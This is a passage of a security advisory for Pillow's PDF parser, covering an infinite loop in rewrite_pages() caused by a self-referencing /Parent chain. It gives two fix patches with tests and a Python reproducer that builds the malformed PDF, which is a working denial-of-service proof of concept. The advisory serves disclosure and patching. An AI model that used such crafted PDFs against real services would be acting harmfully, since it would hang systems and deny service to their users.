5.8 KB, 300-wide \u00d7 3-level file runs for 13 minutes; a direct `/Kids` cycle ends in `RecursionError`). It differs from this report in the link followed (`/Kids` down vs `/Parent` up), the function and phase (`linearize_page_tree()` during `read_pdf_info()` in the `PdfParser` constructor vs `rewrite_pages()` during `write_catalog()`), the introducing commit (`6207b44ab1ff` vs `24ecfe315ab5`), and the symptom (exponential but finite CPU vs a true infinite loop). It needs a separate hunk: the patches attached here only guard the `/Parent` walk and leave the `/Kids` reproducer hanging in `linearize_page_tree()`, and the `/Kids` guard conversely leaves this reproducer spinning in `rewrite_pages()` \u2014 verified by cross-applying each patch. Applied together (the `/Kids` guard plus attached patch 2), both reproducers are rejected with `PdfFormatError: page tree loop found` and `Tests/test_pdfparser.py` + `Tests/test_file_pdf.py` pass (30 tests).\n\n## The patch (1 of 2)\n\nTrack visited page-tree nodes in PdfParser.rewrite_pages() so a cyclic /Parent chain cannot loop forever when appending to a PDF\n\nApplies to `src/PIL/PdfParser.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py\nindex f2ae6b11f..f841aca14 100644\n--- a/Tests/test_pdfparser.py\n+++ b/Tests/test_pdfparser.py\n@@ -169,3 +169,28 @@ def test_duplicate_xref_entry() -\u003e None:\n def test_trailer_loop() -\u003e None:\n with pytest.raises(PdfFormatError, match=\"trailer loop found\"):\n PdfParser(\"Tests/images/trailer_loop.pdf\")\n+\n+\n+@pytest.mark.timeout(5)\n+def test_page_tree_parent_loop() -\u003e None:\n+ # the /Pages root names itself as its own /Parent\n+ objects = [\n+ b\"\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\",\n+ b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\",\n+ b\"\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\",\n+ ]\n+ b = BytesIO(b\"%PDF-1.4\\n\")\n+ offsets = []\n+ for object_id, body in enumerate(objects, start=1):\n+ offsets.append(b.tell())\n+ b.write(b\"%d 0 obj\\n%s\\nendobj\\n\" % (object_id, body))\n+ xref_offset = b.tell()\n+ b.write(b\"xref\\n0 4\\n0000000000 65535 f \\n\")\n+ b.write(b\"\".join(b\"%010d 00000 n \\n\" % offset for offset in offsets))\n+ b.write(b\"trailer\\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset)\n+\n+ with PdfParser(f=b, mode=\"r+b\") as pdf:\n+ pdf.start_writing()\n+ pdf.write_catalog()\n+ pdf.write_xref_and_trailer()\n+ assert 2 in pdf.xref_table.deleted_entries\ndiff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py\nindex 672557190..9260cd8e7 100644\n--- a/src/PIL/PdfParser.py\n+++ b/src/PIL/PdfParser.py\n@@ -501,8 +501,14 @@ class PdfParser:\n # replace the page reference with the new one\n self.pages[j] = new_page_ref\n # delete redundant Pages tree nodes from xref table\n+ processed_pages_tree_nodes: set[IndirectReference] = set()\n for pages_tree_node_ref in pages_tree_nodes_to_delete:\n while pages_tree_node_ref:\n+ if pages_tree_node_ref in processed_pages_tree_nodes:\n+ # ancestors are shared between pages, and a malformed\n+ # /Parent chain may loop back on itself\n+ break\n+ processed_pages_tree_nodes.add(pages_tree_node_ref)\n pages_tree_node = self.cached_objects[pages_tree_node_ref]\n if pages_tree_node_ref.object_id in self.xref_table:\n del self.xref_table[pages_tree_node_ref.object_id]\n```\n\n## The patch (2 of 2)\n\nRaise PdfFormatError(\"page tree loop found\") in PdfParser.rewrite_pages() when a page\u0027s /Parent chain loops back on itself\n\nApplies to `src/PIL/PdfParser.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py\nindex f2ae6b11f..24faeefbc 100644\n--- a/Tests/test_pdfparser.py\n+++ b/Tests/test_pdfparser.py\n@@ -169,3 +169,27 @@ def test_duplicate_xref_entry() -\u003e None:\n def test_trailer_loop() -\u003e None:\n with pytest.raises(PdfFormatError, match=\"trailer loop found\"):\n PdfParser(\"Tests/images/trailer_loop.pdf\")\n+\n+\n+@pytest.mark.timeout(5)\n+def test_page_tree_parent_loop() -\u003e None:\n+ # the /Pages root names itself as its own /Parent\n+ objects = [\n+ b\"\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\",\n+ b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\",\n+ b\"\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\",\n+ ]\n+ b = BytesIO(b\"%PDF-1.4\\n\")\n+ offsets = []\n+ for object_id, body in enumerate(objects, start=1):\n+ offsets.append(b.tell())\n+ b.write(b\"%d 0 obj\\n%s\\nendobj\\n\" % (object_id, body))\n+ xref_offset = b.tell()\n+ b.write(b\"xref\\n0 4\\n0000000000 65535 f \\n\")\n+ b.write(b\"\".join(b\"%010d 00000 n \\n\" % offset for offset in offsets))\n+ b.write(b\"trailer\\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset)\n+\n+ with PdfParser(f=b, mode=\"r+b\") as pdf:\n+ pdf.start_writing()\n+ with pytest.raises(PdfFormatError, match=\"page tree loop found\"):\n+ pdf.write_catalog()\ndiff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py\nindex 672557190..9021b8d63 100644\n--- a/src/PIL/PdfParser.py\n+++ b/src/PIL/PdfParser.py\n@@ -502,7 +502,13 @@ class PdfParser:\n self.pages[j] = new_page_ref\n # delete redundant Pages tree nodes from xref table\n for pages_tree_node_ref in pages_tree_nodes_to_delete:\n+ processed_pages_tree_nodes = []\n while pages_tree_node_ref:\n+ check_format_condition(\n+ pages_tree_node_ref not in processed_pages_tree_nodes,\n+ \"page tree loop found\",\n+ )\n+ processed_pages_tree_nodes.append(pages_tree_node_ref)\n pages_tree_node = self.cached_objects[pages_tree_node_ref]\n if pages_tree_node_ref.object_id in self.xref_table:\n del self.xref_table[pages_tree_node_ref.object_id]\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer \u2014 \u003ccode\u003erepro\u003c/code\u003e, 3,152 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Infinite loop in PdfParser.rewrite_pages() on a cyclic /Parent chain.\n\nAppending an image to an existing PDF (im.save(fp, \"PDF\", append=True)) makes\nrewrite_pages() walk each original page\u0027s /Parent chain upward until a node has\nno /Parent. Nothing records which nodes were visited, so a /Pages node that\nnames itself as its own /Parent keeps the walk going forever.\n\nWe append a 4x4 image to two one-page PDFs that differ in one entry:\n control - a normal PDF -\u003e finishes in milliseconds\n cyclic - the /Pages root also says /Parent 2 0 R -\u003e never finishes\nA SIGALRM watchdog interrupts the append and shows the line it was stuck on.\n\"\"\"\nimport io\nimport signal\nimport time\nimport traceback\n\nfrom PIL import Image\n\nWATCHDOG_S = 5\n\n\ndef make_pdf(pages_root):\n \"\"\"Catalog (1) -\u003e /Pages root (2) -\u003e /Page (3), with a correct xref table.\"\"\"\n objects = [\n b\"\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\",\n pages_root,\n b\"\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\",\n ]\n pdf = bytearray(b\"%PDF-1.4\\n\")\n offsets = []\n for num, body in enumerate(objects, start=1):\n offsets.append(len(pdf))\n pdf += b\"%d 0 obj\\n%s\\nendobj\\n\" % (num, body)\n xref_offset = len(pdf)\n pdf += b\"xref\\n0 4\\n0000000000 65535 f \\n\"\n pdf += b\"\".join(b\"%010d 00000 n \\n\" % off for off in offsets)\n pdf += b\"trailer\\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset\n return bytes(pdf)\n\n\nclass StillRunning(BaseException):\n pass\n\n\ndef on_alarm(signum, frame):\n raise StillRunning\n\n\ndef append_image(name, pdf):\n \"\"\"Append an image to `pdf`; return True if it finished before the watchdog.\"\"\"\n print(f\"--- {name}: {len(pdf)}-byte PDF ---\")\n print(pdf.decode(\"latin-1\"), end=\"\")\n signal.alarm(WATCHDOG_S)\n start = time.monotonic()\n try:\n Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)\n except StillRunning as e:\n print(f\"[{name}] still running after {WATCHDOG_S}s, interrupted in:\")\n for frame in traceback.extract_tb(e.__traceback__):\n if \"/PIL/\" in frame.filename:\n print(f\" {frame.name}() {frame.filename}:{frame.lineno} {frame.line}\")\n return False\n except Exception as e: # rejecting the file is a correct, safe outcome\n print(f\"[{name}] raised {type(e).__name__}: {e}\")\n return True\n finally:\n signal.alarm(0)\n print(f\"[{name}] append finished in {time.monotonic() - start:.3f}s\")\n return True\n\n\nsignal.signal(signal.SIGALRM, on_alarm)\n\n# Set up: the well-formed file is appended to instantly.\ncontrol = make_pdf(b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1\u003e\u003e\")\nif not append_image(\"control\", control):\n print(\"control case did not finish; environment problem, no verdict\")\n print(\"OK\")\n raise SystemExit\n\n# Attack: the same file, except the /Pages root is its own /Parent.\ncyclic = make_pdf(b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\")\nfinished = append_image(\"cyclic\", cyclic)\n\n# Verify: a fixed parser finishes (or rejects the file) like the control.\nprint(\"BUG\" if not finished else \"OK\")\n```\n\u003c/details\u003e\n\n---",
"id": "GHSA-f2g6-542v-9j58",
"modified": "2026-10-21T21:21:07Z",
"published": "2026-10-21T21:21:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-f2g6-542v-9j58"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112406"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/b3ebf20c694f2f12537a629c30229a1d5a53f777"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Pillow: Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.